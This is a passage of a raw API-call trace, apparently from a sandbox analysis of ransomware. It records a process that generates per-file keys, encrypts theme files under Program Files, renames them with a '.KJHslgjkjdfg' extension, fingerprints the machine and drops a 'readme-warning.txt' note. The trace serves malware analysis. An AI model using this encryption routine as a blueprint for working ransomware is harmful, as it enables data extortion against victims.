hFile=0x12c, liDistanceToMove=0x644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.171] SetEndOfFile (hFile=0x12c) returned 1 [0173.173] GetProcessHeap () returned 0x990000 [0173.173] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0173.173] GetProcessHeap () returned 0x990000 [0173.173] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0173.173] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.kjhslgjkjdfg")) returned 1 [0173.664] CloseHandle (hObject=0x12c) returned 1 [0173.665] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0173.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.665] GetProcessHeap () returned 0x990000 [0173.665] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0173.666] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0173.666] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0173.666] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xd, lpOverlapped=0x0) returned 1 [0173.668] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.668] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.668] GetProcessHeap () returned 0x990000 [0173.668] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0173.668] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0173.668] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.668] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0173.668] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0173.668] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0173.668] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0173.668] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0173.669] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0173.669] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.669] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.669] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.669] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xbbf3, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xbbf3, lpOverlapped=0x0) returned 1 [0173.670] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xbc00, dwBufLen=0xbc00 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xbc00) returned 1 [0173.671] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.671] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xbc00, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xbc00, lpOverlapped=0x0) returned 1 [0173.671] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.671] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xbcd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.671] SetEndOfFile (hFile=0x12c) returned 1 [0173.674] GetProcessHeap () returned 0x990000 [0173.674] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0173.674] GetProcessHeap () returned 0x990000 [0173.674] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0173.674] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0173.678] CloseHandle (hObject=0x12c) returned 1 [0173.678] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0173.678] GetProcessHeap () returned 0x990000 [0173.678] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0173.678] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0173.678] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0173.678] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.678] GetProcessHeap () returned 0x990000 [0173.678] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0173.678] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0173.678] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0173.678] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.678] GetProcessHeap () returned 0x990000 [0173.678] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fb9f0 [0173.679] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0173.679] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fb9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fb9f0, pdwDataLen=0x29dee20) returned 1 [0173.679] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.679] GetProcessHeap () returned 0x990000 [0173.679] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0173.679] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0173.679] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0173.679] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.679] GetProcessHeap () returned 0x990000 [0173.679] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0173.679] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0173.679] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0173.679] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.679] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0173.679] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0173.679] RegCloseKey (hKey=0x12c) returned 0x0 [0173.680] GetProcessHeap () returned 0x990000 [0173.680] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0173.680] GetProcessHeap () returned 0x990000 [0173.680] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0173.680] GetProcessHeap () returned 0x990000 [0173.680] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0173.680] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0173.680] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0173.680] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.680] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0173.680] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0173.680] GetProcessHeap () returned 0x990000 [0173.680] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0173.680] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0173.680] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0173.680] GetProcessHeap () returned 0x990000 [0173.680] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0173.681] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\readme-warning.txt") returned 80 [0173.681] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.686] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0173.687] CloseHandle (hObject=0x12c) returned 1 [0173.688] GetProcessHeap () returned 0x990000 [0173.688] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fb9f0 | out: hHeap=0x990000) returned 1 [0173.688] GetProcessHeap () returned 0x990000 [0173.688] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0173.688] GetProcessHeap () returned 0x990000 [0173.688] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0173.688] GetProcessHeap () returned 0x990000 [0173.688] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0173.688] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0173.688] GetProcessHeap () returned 0x990000 [0173.688] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0173.688] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0173.688] GetProcessHeap () returned 0x990000 [0173.688] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x90) returned 0x9b0940 [0173.689] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0173.689] GetProcessHeap () returned 0x990000 [0173.689] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0173.689] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0173.689] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107bd500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x107bd500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc649, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NETWORK.ELM", cAlternateFileName="")) returned 1 [0173.689] GetProcessHeap () returned 0x990000 [0173.689] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x292) returned 0x9b1eb0 [0173.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.690] GetProcessHeap () returned 0x990000 [0173.690] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0173.690] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0173.690] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0173.690] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x7, lpOverlapped=0x0) returned 1 [0173.692] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.692] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.692] GetProcessHeap () returned 0x990000 [0173.692] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0173.692] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0173.692] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.692] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0173.692] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0173.692] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0173.692] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0173.692] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0173.693] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0173.693] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.693] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.693] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.693] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc649, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xc649, lpOverlapped=0x0) returned 1 [0173.694] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xc650, dwBufLen=0xc650 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xc650) returned 1 [0173.695] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.695] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc650, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xc650, lpOverlapped=0x0) returned 1 [0173.695] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.695] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xc724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.695] SetEndOfFile (hFile=0x12c) returned 1 [0173.698] GetProcessHeap () returned 0x990000 [0173.698] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0173.698] GetProcessHeap () returned 0x990000 [0173.698] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0173.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm.kjhslgjkjdfg")) returned 1 [0173.701] CloseHandle (hObject=0x12c) returned 1 [0173.701] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NETWORK.INF", cAlternateFileName="")) returned 1 [0173.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.703] GetProcessHeap () returned 0x990000 [0173.703] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0173.703] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0173.703] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0173.703] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x7, lpOverlapped=0x0) returned 1 [0173.705] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.705] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.705] GetProcessHeap () returned 0x990000 [0173.705] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0173.705] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0173.705] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.705] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0173.705] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0173.705] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, 